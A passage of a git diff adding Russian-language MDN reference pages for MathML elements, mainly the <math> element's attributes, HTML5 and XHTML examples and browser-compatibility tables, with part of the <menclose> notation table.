+ <li>Начиная с Gecko 16.0 {{geckoRelease("16.0")}} атрибут <code>selection</code> учитывается с произвольным значением <code>actiontype</code>. Если <code>actiontype</code> не указан (пуст) или атрибут <code>selection</code> недопустимый, возникнет ошибка MathML (недопустимая разметка).</li>
+</ul>
diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html
new file mode 100644
index 0000000000..a10a11cb22
--- /dev/null
+++ b/files/ru/web/mathml/element/math/index.html
@@ -0,0 +1,325 @@
+---
+title: <math>
+slug: Web/MathML/Element/math
+translation_of: Web/MathML/Element/math
+---
+<p>{{MathMLRef()}}</p>
+
+<p><span class="notranslate" style="">Элементом верхнего уровня в MathML является тэг <code>&lt;math&gt;</code> .</span> <span class="notranslate" style=""> Каждый допустимый экземпляр MathML должен быть внутри этого контейнера.</span> <span class="notranslate"> Он не допускает вложений, но внутри может быть произвольное число других дочерних элементов.</span></p>
+
+<h2 id="Атрибуты"><span class="notranslate">Атрибуты</span></h2>
+
+<p><span class="notranslate">В дополнение к следующим атрибутам, тэг <code>&lt;math&gt;</code> воспринимает любые атрибуты из <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="&lt;Mstyle>"><code>&lt;mstyle&gt;</code></a> .</span></p>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd><span class="notranslate">При условии использования всесте с <a href="https://developer.mozilla.org/en-US/docs/CSS">таблицами стилей</a> .</span></dd>
+ <dt id="attr-dir">dir</dt>
+ <dd><span class="notranslate">Указывает направление формулы:</span> <span class="notranslate"><code>ltr</code> - слева направо или <code>rtl</code> - справа налево.</span></dd>
+ <dt id="attr-href">ref</dt>
+ <dd><span class="notranslate">Используется для установки гиперссылки на указанный URI.</span></dd>
+ <dt id="attr-mathbackground"><span class="notranslate">mathbackground</span></dt>
+ <dd><span class="notranslate">Цвет фона.</span> <span class="notranslate"> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd>
+ <dt id="attr-mathcolor"><span class="notranslate">mathcolor</span></dt>
+ <dd><span class="notranslate">Цвет текста.</span> <span class="notranslate"> Вы можете использовать <code>#rgb</code> , <code>#rrggbb</code> и <a href="https://developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords">названия цветов HTML</a> .</span></dd>
+ <dt id="attr-display">display</dt>
+ <dd><span class="notranslate">Этот атрибут определяет способ вывода.</span> Возможные <span class="notranslate">значения:</span>
+ <ul>
+  <li><span class="notranslate"><code>block</code> - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;</span></li>
+  <li><span class="notranslate"><code>inline</code> -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из нее без изменения значения этого текста.</span></li>
+ </ul>
+
+ <p><span class="notranslate">Значение по умолчанию <code>inline</code> .</span></p>
+ </dd>
+ <dt id="attr-mode">mode {{ deprecated_inline() }} <span title="Это устаревший API больше не используется, но, вероятно, все еще работают.">
+ <i class="icon-thumbs-down-alt"></i>
+ </span></dt>
+ <dd><span class="notranslate">Устаревшие значение  </span><a href="https://developer.mozilla.org/en-US/docs/MathML/Element/math#attr-display">display attribute</a>.<br>
+ <span class="notranslate">Возможные значения: <code>display</code> (который имеет тот же эффект, как <code>display="block"</code> ) и <code>inline</code> .</span></dd>
+ <dt id="attr-overflow">overflow</dt>
+ <dd><span class="notranslate">Определяет, как выражение ведет себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.</span><br>
+ <span class="notranslate">Возможные значения: <code>linebreak</code> (по умолчанию), <code>scroll</code> , <code>elide</code> , <code>truncate</code> , <code>scale</code> .</span></dd>
+</dl>
+
+<h2 id="Примеры"><span class="notranslate">Примеры</span></h2>
+
+<p><img alt="Теорема Пифагора" src="https://developer.mozilla.org/files/3157/math.jpg"></p>
+
+<h3 id="Обозначения_HTML5"><span class="notranslate">Обозначения HTML5</span></h3>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="token doctype">&lt;!DOCTYPE html&gt;</span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">&gt;</span></span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>MathML in HTML5<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>math</span><span class="token punctuation">&gt;</span></span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mrow</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mrow</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msup</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mi</span><span class="token punctuation">&gt;</span></span>a<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mi</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msup</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mo</span><span class="token punctuation">&gt;</span></span>+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mo</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msup</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mi</span><span class="token punctuation">&gt;</span></span>b<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mi</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msup</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mrow</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mo</span><span class="token punctuation">&gt;</span></span>=<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mo</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msup</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mi</span><span class="token punctuation">&gt;</span></span>c<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mi</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msup</span><span class="token punctuation">&gt;</span></span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mrow</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>math</span><span class="token punctuation">&gt;</span></span>
+
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">&gt;</span></span></code></pre>
+
+<p> </p>
+
+<h3 id="Обозначения_XHTML"><span class="notranslate">Обозначения XHTML</span></h3>
+
+<p> </p>
+
+<pre class="brush: xml  language-xml"><code class="language-xml"><span class="token prolog">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
+<span class="token doctype">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN" "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;</span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://www.w3.org/1999/xhtml<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">&gt;</span></span>
+ <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>title</span><span class="token punctuation">&gt;</span></span>MathML in XHTML<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>title</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">&gt;</span></span>
+
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>math</span> <span class="token attr-name">xmlns</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>http://www.w3.org/1998/Math/MathML<span class="token punctuation">"</span></span><span class="token punctuation">&gt;</span></span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mrow</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mrow</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msup</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mi</span><span class="token punctuation">&gt;</span></span>a<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mi</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msup</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mo</span><span class="token punctuation">&gt;</span></span>+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mo</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msup</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mi</span><span class="token punctuation">&gt;</span></span>b<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mi</span><span class="token punctuation">&gt;</span></span>
+          <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msup</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mrow</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mo</span><span class="token punctuation">&gt;</span></span>=<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mo</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>msup</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mi</span><span class="token punctuation">&gt;</span></span>c<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mi</span><span class="token punctuation">&gt;</span></span>
+        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>mn</span><span class="token punctuation">&gt;</span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mn</span><span class="token punctuation">&gt;</span></span>
+      <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>msup</span><span class="token punctuation">&gt;</span></span>
+    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>mrow</span><span class="token punctuation">&gt;</span></span>
+  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>math</span><span class="token punctuation">&gt;</span></span>
+
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">&gt;</span></span>
+<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">&gt;</span></span></code></pre>
+
+<p> </p>
+
+<p><span class="notranslate"><strong>Примечания:</strong> XHTML документы с MathML должны быть поданы как <code>application/xhtml+xml</code> .</span> <span class="notranslate"> Вы можете легко добиться этого, добавив <code>.xhtml</code> расширение для локальных файлов.</span> <span class="notranslate"> Для серверов Apache вы можете <a class="external external-icon" href="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype" title="http://httpd.apache.org/docs/2.2/mod/mod_mime.html#addtype">настроить <code>.htaccess</code> файл</a> для этого расширения на правильный тип MIME.</span> <span class="notranslate"> Поскольку мы сохранили наш MathML в виде XML-документа, необходимо быть уверенным в правильно оформленном XML-документе.</span></p>
+
+<p> </p>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p> </p>
+
+<div class="htab"><a id="AutoCompatibilityTable" name="AutoCompatibilityTable"></a>
+
+<ul>
+ <li class="selected"><a>Полные версии</a></li>
+ <li><a>Мобильные версии</a></li>
+</ul>
+
+<div id="compat-desktop" style="display: block;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Элемент</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>XHTML описание</td>
+   <td><span style="color: #f00;">-</span> (только 24-я)</td>
+   <td>1.0 (1.7 or earlier)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>9.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>HTML5 описание</td>
+   <td><span style="color: #f00;">-</span> (только 24-я)</td>
+   <td><a href="/en-US/Firefox/Releases/4" title="Выпущен 2011-03-22.">4.0</a> (2.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><a href="/en-US/Firefox/Releases/12" title="Выпущен 2012-04-24.">12.0</a> (12.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td><span style="color: #f00;">-</span> <a class="external external-icon" href="https://bugs.webkit.org/show_bug.cgi?id=85733" rel="external" title="">WebKit bug 85733</a></td>
+   <td><a href="/en-US/Firefox/Releases/7" title="Выпущен 2011-09-26.">7.0</a> (7.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span> <a class="external external-icon" href="https://bugs.webkit.org/show_bug.cgi?id=85733" rel="external" title="">WebKit bug 85733</a></td>
+  </tr>
+  <tr>
+   <td><code>mathbackground</code></td>
+   <td><span style="color: #f00;">-</span> (только 24-я)</td>
+   <td><a href="/en-US/Firefox/Releases/4" title="Выпущен 2011-03-22.">4.0</a> (2.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>mathcolor</code></td>
+   <td><span style="color: #f00;">-</span> (только 24-я)</td>
+   <td><a href="/en-US/Firefox/Releases/4" title="Выпущен 2011-03-22.">4.0</a> (2.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>overflow</code></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile" style="display: none;">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Элемент</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>XHTML notation</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>1.0 (1.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+  <tr>
+   <td>HTML5 notation</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>4.0 (2.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>12.0 (12.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>7.0 (7.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+  <tr>
+   <td><code>mathbackground</code></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>4.0 (2.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+  <tr>
+   <td><code>mathcolor</code></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td>4.0 (2.0)</td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+  <tr>
+   <td><code>overflow</code></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+   <td><span style="color: #f00;">-</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+
+<p> </p>
+
+<h3 id="Особенности_ядра_Gecko"><span class="notranslate">Особенности ядра Gecko</span></h3>
+
+<p><span class="notranslate">В Gecko 7.0 (Firefox 7.0 / Thunderbird 7.0 / SeaMonkey 2.4) появилась поддержка всех MathML атрибутов для элементов верхнего уровня (т.е. такое же поведение как <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mstyle" title="&lt;Mstyle>"><code>&lt;mstyle&gt;</code></a> элемента).</span> <span class="notranslate"> Тем не менее, <code>displaystyle</code> атрибут не отрабатывается. Его поддержка <a class="external link-https external-icon" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=ru&amp;ie=UTF8&amp;prev=_t&amp;rurl=translate.google.com&amp;sl=en&amp;tl=ru&amp;u=https://bugzilla.mozilla.org/show_bug.cgi%3Fid%3D669719&amp;usg=ALkJrhgLJ8bHaC2M0rCMSujebFa8KEb7lQ" title="https://bugzilla.mozilla.org/show_bug.cgi?id=669719">была добавлена</a> ​​в Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5).</span></p>
+
+<p><span class="notranslate">Альтернативные текстовые описания (<code>alttext</code>) или ссылки на альтернативное изображение, (атрибуты <code>altimg</code> , <code>altimg-width</code> , <code>altimg-height</code> и <code>altimg-valign</code>) в настоящее время не реализованы в Gecko.</span></p>
+
+<h2 id="Specifications" name="Specifications"><span class="notranslate">Спецификации</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><span class="notranslate">Спецификация</span></th>
+   <th scope="col"><span class="notranslate">Статус</span></th>
+   <th scope="col"><span class="notranslate">Комментарий</span></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><span class="notranslate"><a class="external external-icon" href="http://www.w3.org/TR/MathML3/chapter2.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 3.0</a></span></td>
+   <td><span class="notranslate"><span class="spec-REC">Рекомендация</span></span></td>
+   <td><span class="notranslate">Текущая спецификация</span></td>
+  </tr>
+  <tr>
+   <td><span class="notranslate"><a class="external external-icon" href="http://www.w3.org/TR/MathML2/chapter7.html" lang="en" title="Определение «верхнего уровня математической элемент» в том, что спецификации.">MathML 2.0</a></span></td>
+   <td><span class="notranslate"><span class="spec-REC">Рекомендация</span></span></td>
+   <td><span class="notranslate">Начальная спецификация</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2>
+
+<ul>
+ <li><span class="notranslate">HTML элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html" title="HTML &lt;HTML> Элемент (или HTML корневой элемент) представляет собой корень из HTML или документа XHTML. Все остальные элементы должны быть потомками этого элемента."><code>&lt;html&gt;</code></a></span></li>
+ <li><span class="notranslate">SVG элемент верхнего уровня: <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/svg" title="Элемент SVG могут быть использованы для гнезда автономный SVG фрагмент внутри текущего документа (в том числе в HTML документе) до тех пор, SVG не является корневым элементом. Это автономный фрагмент имеет свой собственный просмотра и свою собственную систему координат."><code>&lt;svg&gt;</code></a></span></li>
+ <li><span class="notranslate">Тест-браузер MathML: Для <a class="external link-https external-icon" href="https://www.eyeasme.com/Joe/MathML/MathML_browser_test">XHTML</a> и <a class="external link-https external-icon" href="https://eyeasme.com/Joe/MathML/HTML5_MathML_browser_test">HTML5</a></span></li>
+</ul>
diff --git a/files/ru/web/mathml/element/menclose/index.html b/files/ru/web/mathml/element/menclose/index.html
new file mode 100644
index 0000000000..79c4c83179
--- /dev/null
+++ b/files/ru/web/mathml/element/menclose/index.html
@@ -0,0 +1,200 @@
+---
+title: <menclose>
+slug: Web/MathML/Element/menclose
+tags:
+  - MathML
+  - MathML Reference
+  - 'MathML:Element'
+  - 'MathML:General Layout Schemata'
+translation_of: Web/MathML/Element/menclose
+---
+<div>{{MathMLRef}}</div>
+
+<p class="summary">Элемент MathML <code>&lt;menclose&gt;</code> отображает свое содержимое во вложенной нотации, указанной атрибутом <code>нотации</code>.</p>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt id="attr-class-id-style">class, id, style</dt>
+ <dd>Используются с <a href="/ru/docs/CSS">таблицами стилей</a>.</dd>
+ <dt id="attr-href">href</dt>
+ <dd>Используется для установки гиперссылки на указанный URI.</dd>
+ <dt id="attr-mathbackground">mathbackground</dt>
+ <dd>Цвет фона. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">HTML-имена цветов</a>.</dd>
+ <dt id="attr-mathcolor">mathcolor</dt>
+ <dd>Цвет текста. Вы можете использовать <code>#rgb</code>, <code>#rrggbb</code> и <a href="/ru/docs/CSS/color_value#Color_Keywords">HTML-имена цветов</a>.</dd>
+ <dt id="attr-notation">notation</dt>
+ <dd>Список нотаций, разделенных пробелами, применяемых к дочерним элементам. Изображенные символы могут перекрываться. Возможные значения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Значение</th>
+    <th>Пример рендеринга</th>
+    <th>Рендеринг в вашем браузере</th>
+    <th>Описание</th>
+   </tr>
+   <tr>
+    <td><code>longdiv</code> (default)</td>
+    <td><img alt="longdiv" src="/files/3167/default.png"></td>
+    <td><math> <menclose notation="longdiv"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>длинный символ деления</td>
+   </tr>
+   <tr>
+    <td><code>actuarial</code></td>
+    <td><img alt="actuarial" src="/files/3168/actuarial.png"></td>
+    <td><math> <menclose notation="actuarial"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td><a class="external" href="http://en.wikipedia.org/wiki/Actuarial_notation" title="http://en.wikipedia.org/wiki/Actuarial_notation">актуарный символ</a></td>
+   </tr>
+   <tr>
+    <td><code>radical</code></td>
+    <td><img alt="radical" src="/files/3169/radical.png"></td>
+    <td><math> <menclose notation="radical"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>символ квадратного корня</td>
+   </tr>
+   <tr>
+    <td><code>box</code></td>
+    <td><img alt="box" src="/files/3170/box.png"></td>
+    <td><math> <menclose notation="box"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>прямоугольник</td>
+   </tr>
+   <tr>
+    <td><code>roundedbox</code></td>
+    <td><img alt="roundedbox" src="/files/3171/roundedbox.png"></td>
+    <td><math> <menclose notation="roundedbox"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>прямоугольник с закругленными вершинами</td>
+   </tr>
+   <tr>
+    <td><code>circle</code></td>
+    <td><img alt="circle" src="/files/3172/circle.png"></td>
+    <td><math> <menclose notation="circle"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>овал</td>
+   </tr>
+   <tr>
+    <td><code>left</code></td>
+    <td><img alt="left" src="/files/3173/left.png"></td>
+    <td><math> <menclose notation="left"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>линия слева от содержимого</td>
+   </tr>
+   <tr>
+    <td><code>right</code></td>
+    <td><img alt="right" src="/files/3174/right.png"></td>
+    <td><math> <menclose notation="right"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>линия справа от содержимого</td>
+   </tr>
+   <tr>
+    <td><code>top</code></td>
+    <td><img alt="top" src="/files/3175/top.png"></td>
+    <td><math> <menclose notation="top"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>линия над содержимым</td>
+   </tr>
+   <tr>
+    <td><code>bottom</code></td>
+    <td><img alt="bottom" src="/files/3176/bottom.png"></td>
+    <td><math> <menclose notation="bottom"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>линия под содержимым</td>
+   </tr>
+   <tr>
+    <td><code>updiagonalstrike</code></td>
+    <td><img alt="updiagonalstrike" src="/files/3177/updiagonalstrike.png"></td>
+    <td><math> <menclose notation="updiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>линия, перечеркивающая содержимое от левого низа до правого верха</td>
+   </tr>
+   <tr>
+    <td><code>downdiagonalstrike</code></td>
+    <td><img alt="downdiagonalstrike" src="/files/3178/downdiagonalstrike.png"></td>
+    <td><math> <menclose notation="downdiagonalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>линия, перечеркивающая содержимое от левого верха до правого низа</td>
+   </tr>
+   <tr>
+    <td><code>verticalstrike</code></td>
+    <td><img alt="verticalstrike" src="/files/3179/verticalstrike.png"></td>
+    <td><math> <menclose notation="verticalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
+    <td>вертикальная линия, зачеркивающая содержимое</td>
+   </tr>
+   <tr>
+    <td><code>horizontalstrike</code></td>
+    <td><img alt="horizontalstrike" src="/files/3180/horizontalstrike.png"></td>
+    <td><math> <menclose notation="horizontalstrike"> <msup><mi>a</mi><mn>2</mn></msup> <mo>+</mo> <msup><mi>b</mi><mn>2</mn></msup> </menclose> </math></td>
